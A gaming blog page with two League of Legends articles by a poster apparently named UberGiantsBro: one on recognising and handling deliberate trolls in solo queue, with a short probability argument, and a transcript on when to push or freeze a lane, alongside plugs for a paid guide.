So firstly, what is a troll? A troll is someone who deliberately ruins the game for other players. The key word here? deliberately. Many people make the mistake of failing to recognise a players intentions.

Believe it or not, the majority of players in solo queue mean well.... Sure, your teammate may do a dumbass facecheck going to your blue buff at level 1, but his intention was to protect your team's blue. That is not trolling.

The same is to be said when a jungler comes to gank your lane but messes up and the opponent gets away. Your jungler isn't trolling, otherwise why would he gank your lane in the first place? He clearly has good intentions but he messed up. Who cares? Everybody messes up at some point.

Four Paws does a good job in describing this in his video Gain Elo through your Mindset when he discusses intentions versus actuality.

Why do Trolls Troll?

So a troll is someone who does these things DELIBERATELY. We've all played with them before. But why do they troll? What drives them? It all comes down to this; attention. Trolls troll because their trolling rewards them with a cheap troll laugh at others expense.

People have their own reasons for needing attention and recognising this fact can actually change your mindset from being angry with them to being sympathetic towards them. Trolls troll because they are missing out on something in real life so they come to League of Legends for attention.

I am not going to go into the psychological aspect of why trolls are the way they are too much - if that interests you and you want to read more there is a great article on the summoner school website that goes into that. You can check it out by clicking here.

How to Handle Trolls

So we know that trolls crave attention. Without attention trolls would have no audience and they would then have no cheap laugh. But how do you handle trolls? One of the best things you can do is to ignore them and to not let them effect you. Do not get angry at them. Don't rage, threaten or whine at them either. Doing any of these things only feeds their cause.

Instead of getting angry, try this technique taken directly out of summoner school the next time you are faced with a troll; Say something like, "I'll send you roses to your door with a love note if you get exhaust over revive" or "Please, if you get exhaust over revive I'll order a hot chick dressed up as Nidalee to come visit you."

Unfortunately some trolls are beyond help and all you can do is put them on ignore and try to carry them as best you can. Remember to report them after the game with details of what they did so that the tribunal can handle them.

You can't expect to change trolls, what you can do though is change how their trolling effects you. Concentrate on that and you will find handling trolls easier.

The Maths is On Your Side

"But I always get the trolls on my team, always! What do I do??"

Well let's do a bit of maths, because everyone loves maths, right? There are 10 players in any given league of legends game.

Let's say 1 in every 10 players is a troll who intentionally feeds once he gets in game. For the sake of this example that means that there is exactly 1 troll in every game. So the chance of getting the troll on your team is 50% because each player has a 10% chance of being the troll yeah? But you are not the troll...

And because you are not the troll each player's chance of being the troll has gone up to 11.1'(recurring)% (excluding you), so your team now has a 44.4% chance of having the troll while the other team now has 55.6% chance of having the troll. It might not seem like much of a change, but mathematically over a period of 100 games, that means you could expect to have 11 less trolls than normal. The maths is on your side....

That's all I have to say about how to handle trolls for now, for more useful info check out the ultimate League of Legends guide that will help raise your league and maybe, just maybe, you might even start to enjoy ranked games!

I hope you learned something and that the techniques I've showed you here help you to handle trolls better. For League of Legends related tidbits you can follow me on twitter @UberGiantsBro. Have a great day!

Comments Off on How to Handle Trolls in League of Legends

When to Push in League of Legends

Transcript

G'day it's UberGiantsBro here, and today we're going to be talking about 'When to Push in League of Legends'.

Firstly, what is pushing?

Pushing is shoving the creep wave to the enemy tower by killing creeps as fast as possible. The general rule for pushing is that you want to push as soon as you kill your lane opponent.

The reason for this is that you want your opponent to miss as much gold (and exp.) as possible while at the same time allowing you to farm that extra wave of creeps so that you can go back to base ASAP. However this is not ALWAYS the best idea as will be discussed soon.

The inverse of Pushing is Freezing (or holding) the lane. Freezing is holding the creep wave by only last hitting minions and/or trimming the wave so that it stays where you want it to. It is a characteristic of a good player to know when to push and when to hold a lane.

There are some key questions that we need to ask ourselves here that will help us understand and decide WHEN to push:

Is it safe to push?

Use common sense here. If people are MIA and you are on low health after a kill, you should probably not stay to push. However if you see that the mid and jungler has 4 man ganked bot, you are safe to finish pushing the lane to secure your advantage.

What is my pushing potential?

Recognize the difference between playing a fast pusher like Morde compared to a notoriously slow pusher like early game Ryze.

Is there more gold to be had elsewhere?

Whether it be roaming to another lane, helping with dragon, potentially stealing an enemy buff or simply farming a wraith camp, there is usually an opportunity to claim more gold elsewhere on the map. Be careful you are not putting your teammate behind.

Do I need to base?

If you are sitting on a large amount of gold it is often smart to push your lane and base (provided it is safe of course). Most good laners will recognize this so be sure to recall in a safe position and call your jungler to farm-farm the wave.

Map Awareness is another subject on its own but it is important to mention that sometimes it can actually be SAFER to push if your champion is a good pusher or relies on lifesteal or spellvamp to sustain.

A good example here is a Cait and Nunu bot lane. This lane is generally very powerful in solo queue because they can push fast which keeps their opponents at their tower. This makes it harder for them to counter harass and the pressure or lack of bot lane coordination may cause opponents to miss CS under their tower.

That's it for when to push, for League of Legends tidbits you can follow me on twitter @UberGiantsBro.

End your solo queue solo queue frustrations now with the most detailed League of Legends guide called Summoner School. I help develop Summoner School. Inside it you discover all the skills, strategies, and tips you need to carry yourself out of elo hell then maybe even become a diamond player like I did. Check out the ultimate League of Legends guide now.

Comments Off on When to Push in League of Legends